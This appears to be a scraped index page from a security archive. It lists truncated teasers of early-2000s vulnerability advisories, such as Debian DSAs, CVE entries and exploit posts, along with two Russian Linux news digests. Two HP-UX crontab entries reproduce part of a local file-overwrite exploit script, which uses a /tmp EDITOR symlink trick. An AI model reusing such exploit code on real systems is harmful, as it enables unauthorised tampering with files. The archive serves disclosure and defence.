Simple Wais 1.11 allows users to execute commands as SWAIS deamon.

The WAIS Wide Area Information Service system is a collection of programs which provide for convenient information distribution over wide area networks. Tools for both "publishing" and accessing information sources are provided. The Simple WAIS SWAIS interface is an basic access tool designed for...

[SECURITY] [DSA 118-1] New xsane packages fix insecure temporary files

-------------------------------------------------------------------------- Debian Security Advisory DSA 118-1 [email protected] http://www.debian.org/security/ Martin Schulze March 5th, 2002 - -------------------------------------------------------------------------- Package : xsane...

[SECURITY] [DSA 118-1] New xsane packages fix insecure temporary files

-------------------------------------------------------------------------- Debian Security Advisory DSA 118-1 [email protected] http://www.debian.org/security/ Martin Schulze March 5th, 2002 - -------------------------------------------------------------------------- Package : xsane...

[SECURITY] [DSA 116-1] New CFS packages fix security problems

-------------------------------------------------------------------------- Debian Security Advisory DSA 116-1 [email protected] http://www.debian.org/security/ Martin Schulze March 2nd, 2002 - -------------------------------------------------------------------------- Package : cfs Vulnerability...

[SECURITY] [DSA 081-2] No w3m packages for powerpc available

-------------------------------------------------------------------------- Debian Security Advisory DSA 081-2 [email protected] http://www.debian.org/security/ Martin Schulze October 18th, 2001 - -------------------------------------------------------------------------- Packages : w3m, w3m-ssl...

CVE-1999-0808: Undefined Security Weakness

Multiple buffer overflows in ISC DHCP Distribution server dhcpd 1.0 and 2.0 allow a remote attacker to cause a denial of service crash and possibly execute arbitrary commands via long options...

suse: sdbsearch.cgi vulnerability

Hello, I found weakness in sdbsearch.cgi script which is a part of Suse distribution. This is perl script and since Suse 7.1 they have introduced some form of protection interpreter is called with tainting checking. However, I think it isn't enough and this bug still may produce danger...

Xvt 2.1 vulnerability

Package: xvt Version: 2.1 Problem type: Local root vulnerability Linux distribution: only tested on Debian ---- Introduction xvt is an X terminal-emulator that is designed to be more or less compatible with xterm while using much less swap space. It is mainly intended for use at sites which use...

gpm-root fails to correctly release GID 0 membership for user defined menus

Overview gpm-root does not properly drop group privileges. Local users can gain group privileges by starting a utility from gpm-root. The gpm package is usually included in Linux distributions, and can be started from the command line or in the startup script /etc/rc.d/rc.local. Description gpm...

[SECURITY] [DSA 026-1] New version of BIND 8 released

---------------------------------------------------------------------------- Debian Security Advisory DSA-026-1 [email protected] http://www.debian.org/security/ Martin Schulze January 29, 2001 - ---------------------------------------------------------------------------- Package : bind...

SuSE 6.x/7.0 - MkDir Error Handling rctab Race Condition (2)

source: https://www.securityfocus.com/bid/2207/info rctab is the Run Control Tab script included with the SuSE distribution of the Linux Operating System. SuSE is a freely available, Open Source Operating system maintained by SuSE Incorporated. A race condition in the rctab script could allow an...

Seyon buffer overflow exploit.

Dear, Vuln-Dev I am posting this here since I do not know if the attached buffer overflow exploit will work on any distribution where seyon comes as setgid/setuid by default. Seyon which is a telecommunications package for the X Window System, is not intended to run as setuid/setgid, however, I...

HP-UX 11.0010.20 crontab - Overwrite Files

HP-UX 11.0010.20 crontab - Overwrite Files !/bin/sh HP-UX 11.00/10.20 crontab Kyong-won,Cho [email protected] Usage : ./crontab.sh if -z "$1" then echo "Usage : $0 " exit fi cat /tmp/crontabexp !/bin/sh ln -sf $1 $1 EOF chmod 755 /tmp/crontabexp EDITOR=/tmp/crontabexp export EDITOR crontab -e ...

HP-UX 11.00/10.20 crontab - Overwrite Files

!/bin/sh HP-UX 11.00/10.20 crontab Kyong-won,Cho [email protected] Usage : ./crontab.sh if -z "$1" then echo "Usage : $0 " exit fi cat /tmp/crontabexp !/bin/sh ln -sf $1 $1 EOF chmod 755 /tmp/crontabexp EDITOR=/tmp/crontabexp export EDITOR crontab -e 2 /tmp/crontab$$ grep -v "error on previous...

Linux news 27.10.00

В продаже коробочные Linux-приложения Если большинство компаний, создающих Linux-ПО, нацелено на рынок серверных систем, то Chilliware кинулась в омут неизведанного настольного бизнеса. Подробнее: http://www.zdnet.ru/news.asp?ID=1910 Вышел Netscape Communicator 4.76 Вышла новая версия, за номером...

[SECURITY] Debian esound packages not affected by /tmp/.esd race condition

---------------------------------------------------------------------------- Debian Security Advisory [email protected] http://www.debian.org/security/ Daniel Jacobowitz October 8, 2000 - ---------------------------------------------------------------------------- Package: esound Vulnerability:...

GnoRPM local /tmp vulnerability

While fixing other problems with the gnorpm package a locally exploitable security hole was found where a normal user could trick root running GnoRPM into writing to arbitary files due to a bug in the gnorpm tmp file handling. A new release of GnoRPM 0.95.1 is now available. This fixes significan...

Linux news 25.09.00

Linux Kernel 2.2.18pre10 Вешел десятый пререлиз нового ядра Linux - Linux Kernel 2.2.18. Подробнее: http://www.cs.helsinki.fi/linux/linux-kernel/2000-38/1086.html Linux Kernel pre-patch 2.4.0 test9-pre6 Новый, шестой по счету, пререлиз девятого тестового ядра Linux Kernel 2.4.0. Подробнее:...

glibc unsetenv bug

Hello, Two distribution vendors have recently issued updated packages and advisories regarding a glibc bug. While I don't consider this bug to be a serious security issue, a more detailed description of the bug and information on affected glibc versions is needed. I am forwarding a message I post...

Kerberos 4 4.05 5.0 - KDC Spoofing

Kerberos 4 4.05 5.0 - KDC Spoofing source: https://www.securityfocus.com/bid/1616/info Kerberos is a cryptographic authentication protocol that allows users of a network to access services without transmitting cleartext passwords. A common implementation of the protocol includes a login service...